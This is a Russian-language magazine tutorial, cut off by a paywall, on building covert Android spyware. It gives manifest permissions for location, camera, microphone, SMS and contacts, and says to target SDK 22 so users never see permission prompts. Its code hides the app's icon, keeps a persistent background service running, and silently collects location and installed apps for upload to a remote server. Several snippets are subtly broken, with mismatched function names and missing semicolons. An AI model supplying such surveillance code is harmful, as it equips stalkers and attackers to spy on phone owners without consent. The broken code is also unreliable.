Android принято называть рассадником вирусов и бэкдоров. Каждый день здесь выявляют более 8 тысяч новых образцов малвари. И эти цифры постоянно растут. Но задумывался ли ты, как эта малварь работает? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Итак, наша задача — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой зловред, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности будут следующие:
Все это приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.
Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы ты сломал себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи тебе придется выполнить самому (для этого потребуются кое-какие знания в разработке приложений для Android).
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создай приложение, указав в манифесте следующие разрешения:
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.READ_SMS" />
В build.gradle
укажи compileSdkVersion 22
и targetSdkVersion 22
. Так ты избавишь приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Создай пустую Activity и Service. В метод onStartCommand сервиса добавь строку return Service.START_STICKY
. Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавь их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
<activity android:name="com.example.app.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="com.example.app.MainService" android:enabled="true" android:exported="false"> </service>
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState) // Запускаем сервис startService(new Intent(this, MainService.class)); // Отключаем Activtiy ComponentName cn = new ComponentName("com.example.app", "com.example.app.MainActivity"); pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); }
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Android есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по Wi-Fi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
Location getLastLocation(Context context) { LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); long GPSLocationTime = 0; if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); } long NetLocationTime = 0; if (null != locationNet) { NetLocationTime = locationNet.getTime(); } Location loc; if ( 0 < GPSLocationTime - NetLocationTime ) { loc = locationGPS; } else { loc = locationNet; } if (loc != null) { return loc; } else { return null; } }
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Location loc = getLastKnownLocation(context) String locationFile = context.getApplicationInfo().dataDir + "/location" try { OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE)); outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude); outputStreamWriter.close(); } catch (IOException e) {}
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Получить список установленных приложений еще проще:
void dumpSMS(Context context) { String appsFile = context.getApplicationInfo().dataDir + "/apps" final PackageManager pm = context.getPackageManager(); List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA); try { PrintWriter pw = Files.writeLines(appsFile); for (ApplicationInfo packageInfo : packages) { if (!isSystemPackage(packageInfo)) pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName); } pw.close(); } catch (IOException e) {} } private boolean isSystemPackage(ApplicationInfo applicationInfo) { return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0); }
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Cтатьи из последних выпусков журнала можно покупать отдельно только через два месяца после публикации. Чтобы читать эту статью, необходимо купить подписку.
Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке
1 год3200 р. Экономия 1400 рублей! |
1 месяц490 р. 25-30 статей в месяц |
Уже подписан?
Читайте также
Последние новости